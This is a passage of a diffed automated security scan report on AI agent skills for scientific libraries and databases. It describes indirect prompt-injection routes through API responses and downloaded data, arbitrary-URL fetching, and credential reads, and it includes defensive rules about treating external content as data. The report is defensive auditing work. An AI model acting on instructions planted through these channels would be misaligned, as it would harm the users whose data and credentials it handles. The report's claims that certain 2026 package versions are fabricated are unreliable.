instructions to prevent supply chain risks from unpinned transitive dependencies.--- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Cross-File Env Var and Network Call Pattern Across Reference Files- > The static analyzer detected a cross-file exfiltration chain pattern spanning 8 files and env var access across 7 files. Upon review, all instances in the reference files (references/authentication.md, references/sdk_reference.md, references/eventbridge.md) are documentation examples showing legitimate Benchling API usage patterns. The Lambda handler in references/eventbridge.md reads BENCHLING_TENANT_URL and BENCHLING_API_KEY and makes API calls, which is the intended integration pattern. No actual exfiltration to third-party endpoints was found. This is flagged as low severity due to the volume of env var + network call combinations that could be misused if the reference code is copied without review.- > File: `references/eventbridge.md`- > **Remediation:** The reference files are internal to the skill package and contain legitimate documentation. No remediation required for the content itself. Users copying code from reference files should ensure they validate the target URL is their own Benchling tenant and that credentials are stored securely per the guidance in references/authentication.md.--### bids — 🔵 LOW+ > **Remediation:** Ensure all user-provided input is properly sanitized and escaped before being incorporated into shell commands or curl arguments. Use --data-urlencode for URL parameters and properly escape JSON string values. Consider using Python's requests library instead of curl for better input handling.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Overly Broad Skill Description May Cause Unintended Activation- > The skill description enumerates a very wide range of modalities and tasks (MRI, EEG, MEG, iEEG, PET, microscopy, NIRS, motion capture, EMG, MR spectroscopy, behavioral, DICOM conversion, validation, metadata writing, derivatives). While this accurately reflects the skill's scope, the breadth may cause the skill to be activated for loosely related queries, potentially running the update_schema.py script (which makes network calls) in contexts where the user did not intend external network access.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — API Keys Read from Environment and .env File+ > The skill instructions explicitly direct the agent to read API keys from shell environment variables (e.g., $FRED_API_KEY, $NASA_API_KEY, etc.) and from a .env file in the current working directory. While this is a standard and legitimate pattern for credential management, it does mean the agent will actively read sensitive credentials from the environment and pass them in HTTP requests to external APIs. The .env file reading pattern could expose credentials if the skill is used in an unexpected working directory context.> File: `SKILL.md`- > **Remediation:** This is a minor concern given the skill's legitimate broad scope. Consider noting in the description that the update_schema.py script requires explicit user invocation and makes network calls, so users are aware of this behavior.--- **⚪ INFO** `LLM_CONTEXT_BUDGET_EXCEEDED` — 'references/bids_schema.json' excluded from LLM analysis (813,726 chars)- > file size (813,726 chars) exceeds per-file limit (75,000)- > File: `references/bids_schema.json`- > **Remediation:** Increase llm_analysis.max_referenced_file_chars in your scan policy to include this content in LLM analysis.--- **🔵 LOW** `LLM_PROMPT_INJECTION` — External Content Written to Local Reference Files Without Integrity Verification- > The update_schema.py script downloads content from external URLs and writes it directly to local reference files (references/bids_schema.json, references/beps.yml) that are subsequently used by the skill as authoritative reference data. If the upstream sources are compromised or a malicious URL is supplied, the downloaded content could contain adversarial instructions or malformed data that influences the agent's behavior when it reads these reference files.- > File: `scripts/update_schema.py`- > **Remediation:** Add cryptographic hash verification of downloaded files against known-good checksums. Consider pinning to specific tagged releases rather than 'stable' or 'main' branch URLs. Treat downloaded content as untrusted and validate structure before writing.+ > **Remediation:** This is a standard pattern but users should be aware that the skill will read API keys from the environment and .env files. Ensure the skill is only used in trusted environments. Consider documenting which specific environment variables are accessed.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Network Calls in Schema Update Script- > The update_schema.py script makes outbound HTTP requests to fetch data from external URLs (bids-specification.readthedocs.io and raw.githubusercontent.com). While these are legitimate upstream BIDS sources, the script uses urllib.request.urlopen without certificate verification enforcement or integrity checking (no hash verification of downloaded content). The --schema-url argument also allows arbitrary URLs to be passed, meaning an agent could be instructed to fetch schema from an attacker-controlled URL.- > File: `scripts/update_schema.py:30`- > **Remediation:** Add SSL certificate verification (it is enabled by default in Python's urllib but should be explicitly confirmed). Add content integrity verification (e.g., checksum comparison against known-good values). Restrict --schema-url to an allowlist of trusted domains rather than accepting arbitrary URLs.--- **🔵 LOW** `LLM_COMMAND_INJECTION` — Arbitrary URL Injection via --schema-url Argument- > The update_schema.py script accepts a --schema-url command-line argument that is passed directly to urllib.request.urlopen without domain validation. If an agent or user supplies a malicious URL (e.g., a local file:// URI, an internal network address, or an attacker-controlled server), the script will fetch and write that content to references/bids_schema.json, potentially introducing malicious schema data or enabling SSRF-like behavior within the agent's environment.- > File: `scripts/update_schema.py:57`- > **Remediation:** Validate the --schema-url argument against an allowlist of trusted domains (e.g., bids-specification.readthedocs.io, raw.githubusercontent.com). Reject file://, ftp://, or non-HTTPS schemes. Consider removing the --schema-url argument entirely if dynamic URL override is not needed.--### biopython — 🔵 LOW--- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing allowed-tools Declaration- > The skill does not declare an 'allowed-tools' field in its YAML manifest. Given that the skill instructs the agent to make network calls (NCBI Entrez, BLAST web services), read and write files, and execute Python code, the absence of explicit tool restrictions means the agent has no declared boundary on what tools it may use. This is informational per the skill spec (allowed-tools is optional) but worth noting given the network-access nature of this skill.+- **🔵 LOW** `LLM_PROMPT_INJECTION` — Indirect Prompt Injection Risk via External API Responses+ > The skill instructs the agent to return 'raw JSON' responses from external databases and to process content from external sources (web pages, API responses). Malicious or unexpected content in API responses could potentially contain instruction-like text that influences the agent's behavior, especially since the skill instructs the agent to parse and act on the returned data. The SIMBAD reference file explicitly notes 'Input Sanitization' concerns for user-supplied object names to prevent injection into ADQL queries, acknowledging this risk.> File: `SKILL.md`- > **Remediation:** Consider adding 'allowed-tools: [Python, Bash, Read, Write]' to the manifest to explicitly document the intended tool scope and help agents and users understand the skill's operational boundaries.+ > **Remediation:** The skill should treat all external API responses as untrusted data. The agent should not execute or follow any instructions found within API response content. The SIMBAD sanitization guidance is good practice and should be applied consistently across all database queries that incorporate user input into query strings.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Missing License and Unpinned Dependency Installation- > The skill specifies 'license: Unknown' in its manifest and instructs installation via 'uv pip install biopython' without a version pin. The skill claims to use Biopython 1.87 (released March 2026, a future date at time of analysis), which is inconsistent with the current Biopython release history. An unpinned install could pull in a compromised or unexpected version of the package. The future release date claim (March 2026) is suspicious and may indicate fabricated version information.+- **🔵 LOW** `LLM_RESOURCE_ABUSE` — Unbounded Parallel API Calls and Pagination+ > The skill instructs the agent to query multiple databases in parallel ('run them in parallel') and to paginate through all results for comprehensive queries ('all clinical trials for X', 'all known variants in gene Y'). For broad queries like 'everything about aspirin' or 'everything about BRCA1', the skill directs querying all relevant databases simultaneously. This could result in a large number of concurrent HTTP requests and significant resource consumption, potentially causing rate limiting issues or excessive compute usage.> File: `SKILL.md`- > **Remediation:** Pin the dependency to a specific known-good version: 'uv pip install biopython==1.84' (or the current stable release). Clarify the license. Verify the claimed version number against the official Biopython release history at https://github.com/biopython/biopython/releases.--- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Suspicious Future Version Date Claim- > The SKILL.md claims Biopython 1.87 was 'released March 2026', which is a future date. This is either an error or a fabricated claim. Biopython's actual latest stable release at the time of this analysis is 1.84. This could mislead users about the software version they are using and may indicate the skill was generated with inaccurate information, potentially causing users to trust incorrect API documentation.- > File: `SKILL.md:7`- > **Remediation:** Correct the version number to reflect the actual current stable release of Biopython. Verify all version-specific documentation (e.g., the gap score change noted in alignment.md for '1.86+') against actual release notes.+ > **Remediation:** Consider adding guidance to limit the number of parallel requests and to confirm with the user before initiating very large paginated queries. Add explicit limits on pagination depth for broad queries.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Environment Variable Access Pattern (NCBI_API_KEY) with Network Calls- > The skill reads the NCBI_API_KEY environment variable and uses it in network calls to NCBI services. While this is a legitimate and documented pattern (the skill explicitly instructs users to read the key from the environment rather than hardcode it), the static analyzer flagged this as a potential exfiltration pattern. In context, this is standard practice for API key management. The key is passed to Bio.Entrez for NCBI API calls, which is the intended use. No evidence of the key being sent to unauthorized third-party endpoints was found in the reviewed reference files.- > File: `references/databases.md`- > **Remediation:** This pattern is acceptable as documented. Ensure that Bio.Entrez only communicates with NCBI endpoints (eutils.ncbi.nlm.nih.gov). Users should verify that the biopython package itself has not been tampered with (supply chain integrity).+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Capability Claims in Skill Description+ > The skill description claims access to '78 public scientific, biomedical, materials science, and economic databases' and instructs the agent to use it 'when looking up compounds, genes, proteins, pathways, variants, clinical trials, patents, economic indicators, or any public database API query.' The phrase 'any public database API query' is extremely broad and could cause the skill to be activated for a very wide range of queries, potentially displacing more specific skills or tools. This is a mild capability inflation concern.+ > File: `SKILL.md`+ > **Remediation:** Narrow the activation description to specific use cases rather than 'any public database API query' to avoid over-broad activation.-### bioservices — 🔵 LOW+### datamol — 🔵 LOW-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing Referenced Files May Cause Unexpected Behavior- > The SKILL.md references several files that do not exist in the skill package: templates/workflow_patterns.md, assets/identifier_mapping.md, assets/workflow_patterns.md, assets/services_reference.md, templates/identifier_mapping.md, templates/services_reference.md, and bioservices.py. While the primary reference files (references/services_reference.md, references/identifier_mapping.md, references/workflow_patterns.md) do exist, the missing files could cause the agent to search for or attempt to load non-existent resources, potentially leading to confusion or unexpected behavior. This is a documentation/packaging issue rather than a security threat.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Cloud Credential Environment Variable Exposure Mentioned in Instructions+ > The SKILL.md instructions explicitly mention that cloud I/O reads credentials from environment variables such as AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_DEFAULT_REGION, and GOOGLE_APPLICATION_CREDENTIALS. While the instructions state these are passed locally to fsspec and not transmitted to third-party endpoints, the skill's guidance around cloud I/O paths could lead an agent to inadvertently expose credential-bearing environment variables when constructing cloud storage calls with user-provided URLs. The static analyzer flagged a cross-file env var exfiltration chain across 2 files, though no actual script files were found in the package.> File: `SKILL.md`- > **Remediation:** Remove references to non-existent files from SKILL.md, or add the missing files to the skill package. Ensure all referenced resources are bundled with the skill.+ > **Remediation:** The instructions already include reasonable guidance (scope to named provider variables, confirm remote write paths). Ensure no script files in the package perform any environment variable harvesting or transmit credentials. Verify the static analyzer's cross-file exfiltration chain finding by auditing all 10 Python files flagged in the file inventory (none were surfaced in this analysis), as they may contain the actual risk.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Package Installation in SKILL.md- > The SKILL.md specifies installation via 'uv pip install "bioservices==1.16.0"' which pins the bioservices package version. However, bioservices itself has transitive dependencies that are not pinned. The skill targets bioservices 1.16.0 (described as a March 2026 PyPI release), which is a future version at time of analysis. If this version does not exist yet, pip may install a different version or fail. Additionally, the skill does not provide a requirements.txt or lockfile for reproducible installs.+- **🔵 LOW** `LLM_PROMPT_INJECTION` — External URL Reading Without Input Validation Guidance+ > The skill instructs the agent to read molecular data from user-provided URLs (e.g., https://example.com/data.csv, s3://bucket/compounds.sdf) without specifying any URL validation or allowlist. If a malicious user provides a URL pointing to a crafted file containing embedded instructions or malicious SMILES data, the agent could process attacker-controlled content. This is a low-severity indirect prompt injection vector via external data sources.> File: `SKILL.md`- > **Remediation:** Provide a requirements.txt or lockfile with pinned transitive dependencies. Verify that bioservices==1.16.0 exists on PyPI before publishing this skill. Consider using a hash-verified install for supply chain integrity.--- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Environment Variable Access Combined with Network Calls- > Multiple scripts access environment variables (NCBI_EMAIL via os.environ) and make network calls to external bioinformatics APIs. The static analyzer flagged this as a potential exfiltration pattern. However, in context, the NCBI_EMAIL usage is a well-documented, legitimate requirement for NCBI BLAST submissions — the email is sent to NCBI as a contact identifier per their terms of service, not to an attacker-controlled server. The network calls are to known public bioinformatics APIs (UniProt, KEGG, NCBI, ChEMBL, etc.). This is expected behavior for a bioinformatics skill. The risk is LOW because: (1) only a contact email is accessed, not credentials or sensitive secrets; (2) destinations are well-known public APIs; (3) the behavior is fully documented in SKILL.md.- > File: `scripts/protein_analysis_workflow.py:14`- > **Remediation:** No remediation required for the NCBI_EMAIL pattern — this is standard practice. Consider adding a comment clarifying that the email is sent to NCBI per their API policy, not to any third party. Users should be aware that their email address is transmitted to NCBI servers when running BLAST.--### cirq — 🔵 LOW+ > **Remediation:** Add guidance to validate or sanitize user-provided URLs before use. Consider recommending that the agent confirm external URLs with the user before fetching, and treat content from external sources as untrusted data rather than trusted instructions.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Missing Version Pins for Some Dependencies- > The SKILL.md installation section recommends pinning versions for reproducibility (e.g., cirq==1.6.1, cirq-google==1.6.1), which is good practice. However, the azure-quantum[cirq] package is installed without a version pin ('uv pip install azure-quantum[cirq]'), which could allow installation of a compromised or incompatible version. Additionally, the instructions note 'For latest features during development, omit version pins' which could encourage unpinned installs in some contexts.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Referenced Non-Existent Files Including Suspicious Names+ > The skill references several files that do not exist in the package, including datamol.py, rdkit.py, scipy.py, and sklearn.py. These names shadow well-known PyPI package names. While the SKILL.md includes a clarifying note that scipy and scikit-learn are PyPI packages and not bundled scripts, the presence of these names in the referenced file list (and the static analyzer reporting 10 Python files in inventory) could cause confusion about the skill's actual capabilities and scope. Additionally, a file named '=[O:2]' appears in the referenced files list, which is a SMARTS fragment — likely a parsing artifact but worth noting.> File: `SKILL.md`- > **Remediation:** Pin the azure-quantum[cirq] package to a specific version for reproducibility and supply chain security. Example: uv pip install "azure-quantum[cirq]==1.x.y". Remove or qualify the recommendation to omit version pins, as unpinned installs in production environments create supply chain risk.--- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Environment Variable Access for API Credentials in Reference Documentation- > Multiple reference files (hardware.md, references/hardware.md, simulation.md, references/simulation.md, references/noise.md) contain code examples that read sensitive environment variables such as GOOGLE_CLOUD_PROJECT, IONQ_API_KEY, AZURE_QUANTUM_RESOURCE_ID, AZURE_QUANTUM_LOCATION, AQT_TOKEN, and PASQAL_TOKEN via os.environ. These are used to authenticate with external quantum hardware providers. While this is expected behavior for a quantum computing skill that legitimately needs to connect to cloud quantum hardware, the pattern of reading credentials and passing them to external services warrants documentation. The static analyzer flagged cross-file env var exfiltration chains across 7 files.- > File: `references/hardware.md`- > **Remediation:** This is expected behavior for a quantum hardware integration skill. However, users should be clearly informed that running hardware execution templates will transmit credentials and circuit data to external quantum cloud providers. The skill documentation already notes this (e.g., 'requires approved GCP project access'), which is appropriate. No code changes required, but ensure users understand which operations trigger external network calls.--- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Network Calls to Multiple External Quantum Cloud Providers- > The skill's reference files contain code that makes network calls to multiple external services: Google Quantum Engine (via cirq_google), IonQ cloud (https://cloud.ionq.com), Azure Quantum, AQT gateway (https://gateway.aqt.eu), and Pasqal cloud (https://api.pasqal.cloud). These calls transmit quantum circuits and credentials to external servers. The static analyzer flagged a cross-file exfiltration chain across 8 files. While this is the legitimate purpose of a quantum hardware integration skill, users should be aware that circuit data (which may encode sensitive problem structures) is transmitted externally.- > File: `references/hardware.md`- > **Remediation:** This is the intended and documented behavior of the skill. The skill correctly documents that hardware access requires approved credentials and GCP project access. Users should be informed before executing hardware templates that circuit data will be transmitted to external providers. Consider adding explicit warnings in the SKILL.md instructions before hardware execution steps.+ > **Remediation:** Remove references to non-existent files from the skill package. Ensure the SKILL.md does not inadvertently reference file names that shadow standard library or PyPI package names. Investigate the '=[O:2]' reference as a potential SMARTS parsing artifact in the file reference extraction logic.-### database-lookup — 🔵 LOW+### deepchem — 🔵 LOW-- **🔵 LOW** `LLM_COMMAND_INJECTION` — Shell Command Execution with User-Supplied Input- > The skill instructs the agent to use curl via shell/bash tools for POST-only APIs, and to URL-encode user-supplied parameters such as SMILES strings, compound names, gene symbols, and ontology terms. If user input is not properly sanitized before being interpolated into shell commands, this could lead to command injection. The SIMBAD reference file explicitly notes 'Input Sanitization' concerns for ADQL queries built from user-supplied object names.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing Referenced Files May Indicate Incomplete Package+ > Several files referenced in the SKILL.md instructions do not exist in the skill package: templates/workflows.md, sklearn.py, assets/workflows.md, deepchem.py, templates/api_reference.md, assets/api_reference.md. While this is not a direct security threat, missing files could indicate an incomplete or tampered package. The two core reference files (references/api_reference.md and references/workflows.md) are present and appear legitimate.> File: `SKILL.md`- > **Remediation:** Ensure all user-supplied input is properly sanitized and URL-encoded before being used in shell commands or API queries. Use --data-urlencode with curl for query parameters. Follow the sanitization guidance already present in the SIMBAD reference file for all databases that accept user-supplied identifiers in query construction.+ > **Remediation:** Verify the skill package is complete and that all referenced files are present. Remove references to non-existent files from SKILL.md instructions.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — API Key Loading from Environment and .env File- > The skill instructs the agent to read API keys from shell environment variables (e.g., $FRED_API_KEY, $NASA_API_KEY, etc.) and from a .env file in the current working directory. While this is a common and legitimate pattern, it means the agent will actively read potentially sensitive credentials from the environment and local filesystem as part of normal operation. The skill covers 17+ API keys across multiple services. If the skill is invoked in an unexpected context, it could expose these credentials.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Dependency Installation Instructions+ > The SKILL.md instructions recommend installing deepchem and its extras without pinning to exact versions (e.g., 'uv pip install deepchem', 'uv pip install deepchem[torch]'). While version 2.8.0 is mentioned in the text, the actual install commands do not pin to this version. This could allow supply chain attacks via malicious package updates. The nightly build instruction ('uv pip install --pre deepchem') is particularly risky as it installs unstable, potentially unvetted code.> File: `SKILL.md`- > **Remediation:** This is standard practice but users should be aware that the skill reads environment variables and .env files. Ensure the .env file has appropriate filesystem permissions and is not world-readable. Consider documenting which specific variables are accessed.+ > **Remediation:** Pin dependencies to exact versions in install instructions: 'uv pip install deepchem==2.8.0'. Avoid recommending nightly/pre-release builds without explicit version pinning.-- **🔵 LOW** `LLM_PROMPT_INJECTION` — Indirect Prompt Injection Risk via External API Responses- > The skill instructs the agent to return 'raw JSON' responses from external databases and to 'default to showing the full raw JSON.' If any of the 78 external databases returns maliciously crafted JSON containing instruction-like text, the agent may process those instructions. This is a standard indirect prompt injection risk inherent to any skill that fetches and displays external content verbatim.- > File: `SKILL.md`- > **Remediation:** Consider adding a note to sanitize or clearly delimit external API responses before presenting them to the user. Instruct the agent to treat all API response content as data, not instructions, and to not follow any directives found within API responses.+### deeptools — 🔵 LOW-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Capability Claims in Description- > The skill description claims to cover '78 public scientific, biomedical, materials science, and economic databases' and instructs the agent to use it 'when looking up compounds, genes, proteins, pathways, variants, clinical trials, patents, economic indicators, or any public database API query.' The phrase 'any public database API query' is an extremely broad activation trigger that could cause the skill to be invoked for nearly any information lookup task, potentially displacing more appropriate tools or skills.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned Conda Installation Path+ > The installation instructions recommend conda/bioconda without a pinned version: 'conda install -c conda-forge -c bioconda deeptools'. While the PyPI path uses a pinned version (deepTools==3.5.6), the conda path is unpinned and could resolve to a different or compromised version. The conda path is explicitly recommended for HPC systems, which are common deployment targets for this skill.> File: `SKILL.md`- > **Remediation:** Narrow the activation description to specific database categories rather than using catch-all phrases like 'any public database API query'. List specific use cases to avoid over-broad activation.+ > **Remediation:** Pin the conda installation to a specific version: 'conda install -c conda-forge -c bioconda deeptools=3.5.6' to ensure reproducibility and reduce supply chain risk.-### datamol — 🔵 LOW+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Over-Broad Activation Triggers in Skill Description+ > The skill description and 'When to Use This Skill' section lists very broad trigger phrases such as 'analyze ChIP-seq data', 'RNA-seq coverage', 'ATAC-seq analysis', 'complete workflow', and 'Working with specific file types: BAM files, bigWig files, BED region files in genomics context'. While these are reasonable for a legitimate NGS toolkit, the breadth of activation triggers could cause the skill to activate in a wide range of genomics-adjacent conversations beyond its intended scope.+ > File: `SKILL.md:30`+ > **Remediation:** Narrow activation triggers to more specific phrases that clearly indicate deepTools usage intent, reducing unintended activation in tangentially related conversations.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Cloud Credential Environment Variable Exposure Mentioned in Instructions- > The SKILL.md instructions explicitly mention cloud credential environment variables (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_DEFAULT_REGION, GOOGLE_APPLICATION_CREDENTIALS) in the context of remote file I/O. While the instructions state these are passed to fsspec locally and not transmitted to third-party endpoints, the skill's guidance to use cloud paths with user-provided URLs (e.g., dm.read_csv("https://example.com/data.csv")) could result in credential-bearing requests being sent to attacker-controlled servers if a user is socially engineered into providing a malicious URL. The static analyzer flagged environment variable access with network calls, which aligns with this pattern.- > File: `SKILL.md`- > **Remediation:** Add explicit warnings that user-provided URLs for remote file reads should be validated and trusted before use. Warn that fsspec may attach cloud credentials to requests made to user-supplied HTTPS URLs if the URL matches a configured provider pattern. Recommend restricting remote reads to known-good domains or requiring explicit user confirmation before any network I/O.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — External samtools Dependency Without Version Pin+ > The generated ATAC-seq workflow script calls 'samtools index' without any version specification or installation step. The skill assumes samtools is available in the environment but provides no guidance on version requirements or installation, creating an implicit unverified dependency.+ > File: `scripts/workflow_generator.py`+ > **Remediation:** Document the required samtools version in the skill's compatibility metadata and installation instructions. Consider adding a dependency check at the start of generated scripts.-- **🔵 LOW** `LLM_PROMPT_INJECTION` — Indirect Prompt Injection Risk via External URL File Reads- > The skill instructs the agent to read molecular data files from user-provided URLs (e.g., https://example.com/data.csv, s3://bucket/compounds.sdf). If an attacker controls the remote file content, they could embed malicious instructions within CSV/SDF metadata fields, molecule names, or comments that the agent might process as instructions. The skill does not instruct the agent to treat content from remote files as untrusted data only.+### depmap — 🔵 LOW++- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Unvalidated External Data Downloads with No Integrity Checks+ > The skill instructs the agent to download large data files directly from external URLs (figshare.com, depmap.org) using requests without any checksum verification, signature validation, or integrity checks. The placeholder URL 'https://figshare.com/ndownloader/files/...' is incomplete and could be substituted with a malicious URL. Downloaded files are written directly to disk and then loaded as trusted DataFrames without sanitization.> File: `SKILL.md`- > **Remediation:** Add explicit guidance that content read from external URLs must be treated as untrusted data and should not be interpreted as instructions. Instruct the agent to sanitize or ignore non-chemical metadata fields from externally sourced files before processing.+ > **Remediation:** Pin specific versioned URLs with known SHA256 checksums. Validate file integrity before loading. Avoid accepting user-supplied URLs for data downloads. Use HTTPS and verify TLS certificates explicitly.-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Multiple Non-Existent Referenced Files Inflate Apparent Capability- > The skill references numerous files that do not exist in the package (scipy.py, sklearn.py, datamol.py, rdkit.py, templates/*, assets/*, =[O:2]). While most appear to be documentation artifacts or parser artifacts (=[O:2] is a SMARTS fragment misidentified as a file reference), the presence of many missing referenced files could mislead the agent about available resources and cause it to attempt to load non-existent local files. The file =[O:2] is particularly anomalous and suggests a parser/extraction artifact.+- **🔵 LOW** `LLM_PROMPT_INJECTION` — Indirect Prompt Injection Risk via Downloaded External Data Files+ > The skill downloads CSV files from external sources (DepMap portal, figshare) and loads them into pandas DataFrames. If any of these files contain crafted cell line names, gene symbols, or annotation strings with embedded instructions, those strings could be surfaced to the LLM during analysis and interpreted as instructions. The 'cell_line_name' and 'primary_disease' fields are used in string operations and returned as output without sanitization.> File: `SKILL.md`- > **Remediation:** Remove references to non-existent files from the skill package or add the actual files. Clarify in the instructions that scipy, sklearn, rdkit, and datamol are PyPI packages (not local files), which the skill already partially does but should make more explicit to avoid agent confusion.+ > **Remediation:** Treat all externally downloaded data as untrusted. Sanitize string fields before surfacing them to the LLM. Validate that cell line names and disease labels conform to expected formats (alphanumeric, limited special characters).-### deepchem — 🔵 LOW+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing Compatibility and Allowed-Tools Metadata+ > The skill manifest does not specify 'compatibility' or 'allowed-tools' fields. The skill makes network requests, writes files to disk, and executes Python code involving external downloads. Without explicit tool declarations, the agent runtime cannot enforce appropriate restrictions on what tools this skill is permitted to use.+ > File: `SKILL.md`+ > **Remediation:** Add explicit 'allowed-tools: [Python, Bash]' and 'compatibility' fields to the YAML frontmatter. Declare network access requirements explicitly so runtime environments can apply appropriate sandboxing.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing Referenced Script Files May Indicate Incomplete Package- > Several files referenced in the SKILL.md instructions are not present in the skill package: templates/workflows.md, templates/api_reference.md, assets/api_reference.md, sklearn.py, deepchem.py, assets/workflows.md. While the core reference files (references/api_reference.md and references/workflows.md) are present, the missing files could indicate an incomplete package or that some referenced functionality is unavailable. This is a low-severity informational finding as it does not represent a direct security threat but could cause unexpected behavior.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned/Unversioned External Data Source References+ > The skill references DepMap data files with a version tag ('24Q4') but uses a placeholder URL ('https://figshare.com/ndownloader/files/...') that is incomplete. There is no version pinning for the Python packages used (requests, pandas, scipy, numpy). If the figshare dataset is updated or replaced, the agent could silently consume different data. The referenced file 'scipy.py' is listed as a dependency but not found in the package.> File: `SKILL.md`- > **Remediation:** Ensure all referenced files are included in the skill package or remove references to non-existent files from the instructions.+ > **Remediation:** Pin exact figshare file IDs with checksums. Specify exact package versions for all dependencies. Remove or resolve the missing scipy.py reference. Document provenance of all external data sources.### diffdock — 🔵 LOW-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing allowed-tools and compatibility metadata- > The SKILL.md manifest does not specify 'allowed-tools' or 'compatibility' fields. While these are optional per the agent skills spec, their absence means there are no declared restrictions on which agent tools this skill may invoke. Given the skill executes Bash and Python commands, declaring these would improve transparency.+- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Missing Referenced Files May Cause Unexpected Behavior+ > Several files referenced in the SKILL.md instructions are not found in the skill package: assets/confidence_and_limitations.md, templates/custom_inference_config.yaml, assets/parameters_reference.md, templates/confidence_and_limitations.md, templates/parameters_reference.md, and references/custom_inference_config.yaml. The instructions direct the agent to read these files using the Read tool, but they do not exist. This could cause confusion or fallback behavior, but does not represent a direct security threat.> File: `SKILL.md`- > **Remediation:** Add 'allowed-tools: [Bash, Python, Read]' and a compatibility field to the YAML frontmatter to clearly document intended tool usage and supported environments.+ > **Remediation:** Ensure all referenced files exist in the skill package, or remove references to non-existent files from the instructions.### esm — 🔵 LOW-- **🔵 LOW** `LLM_SKILL_DISCOVERY_ABUSE` — Overly Broad Skill Description May Trigger Unintended Activation- > The skill description is very broad: 'Comprehensive toolkit for EvolutionaryScale protein language models including ESM3 (generative multimodal design across sequence, structure, and function) and ESM C (efficient embeddings). Use for protein sequence/structure/function tasks, inverse folding, embeddings, variant design, and ESMFold2 structure prediction via Biohub.' This enumerates many trigger keywords (sequence, structure, function, inverse folding, embeddings, variant design, ESMFold2) which could cause the skill to be activated for a wide range of protein-related queries, including those better handled by other tools. This is a minor concern given the legitimate scientific scope.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Missing allowed-tools Declaration+ > The skill manifest does not specify an allowed-tools field. While this is optional per the agent skills specification, the skill instructs the agent to execute Python code, make network API calls, read/write files (PDB files, FASTA files, cluster assignments, etc.), and access environment variables. Declaring allowed-tools would improve transparency about the skill's required capabilities.> File: `SKILL.md`- > **Remediation:** Consider scoping the description more precisely to the specific tasks this skill handles, reducing the breadth of activation triggers. This is a minor issue for a legitimate scientific toolkit.+ > **Remediation:** Add an explicit allowed-tools declaration such as: allowed-tools: [Python, Bash] to document the expected tool usage for this skill.-- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — Unpinned GitHub Dependency Install in Reference Documentation- > The biohub-platform.md reference file includes an installation command that installs a package directly from a GitHub repository with only a short commit hash (c94ed8d) as a pin. While a commit hash is better than a branch name, the referenced GitHub organization 'Biohub' is not the primary EvolutionaryScale organization, and the repository provenance is less established. If the GitHub repository were compromised or the commit hash were to resolve differently in edge cases, malicious code could be installed.+- **🔵 LOW** `LLM_SUPPLY_CHAIN_ATTACK` — GitHub-Based Package Install Without Pinned Commit SHA+ > The biohub-platform.md reference documents an installation pattern using a git+https GitHub URL with a placeholder '<full-40-character-commit-sha>' rather than a concrete pinned SHA. While the documentation advises pinning a full commit SHA and reviewing the release before installing, the placeholder pattern could lead users to install from a floating branch reference if they substitute incorrectly or follow the pattern loosely. This represents a minor supply chain risk.> File: `references/biohub-platform.md`- > **Remediation:** Prefer the PyPI-pinned version (uv pip install "esm==3.2.3") whenever possible. If the GitHub install is necessary for ESMFold2 features, document the expected SHA256 hash of the installed package and instruct users to verify it. Clearly note that this installs from a third-party GitHub organization, not the official PyPI release.+ > **Remediation:** Replace the placeholder with an actual verified 40-character commit SHA in documentation examples, or provide a concrete versioned example. Add a warning that floating branch installs (e.g., @main) must never be used in production or automated pipelines.-- **🔵 LOW** `LLM_DATA_EXFILTRATION` — API Key Accessed via Environment Variable for External API Calls- > The skill reads ESM_API_KEY from environment variables and uses it to authenticate against external cloud APIs (Forge at forge.evolutionaryscale.ai and Biohub at biohub.ai). While this is a legitimate and documented pattern for API authentication, the static analyzer flagged a cross-file env var exfiltration chain. In context, the usage appears intentional and documented — the skill explicitly instructs users to set ESM_API_KEY and never hardcode tokens. The risk is low but worth noting: if the skill were compromised or if a malicious reference file were loaded, the API key could be exfiltrated to an attacker-controlled endpoint instead of the legitimate API.+- **🔵 LOW** `LLM_DATA_EXFILTRATION` — Environment Variable Access with Network Calls (Static Analyzer Flag - Benign in Context)+ > Static analysis flagged environment variable access combined with network calls. In this skill, os.environ['ESM_API_KEY'] is used to retrieve an API token, which is then passed to legitimate ESM/Forge/Biohub API endpoints (forge.evolutionaryscale.ai, biohub.ai). This is the documented and recommended authentication pattern for the ESM SDK. The skill explicitly instructs users never to hardcode 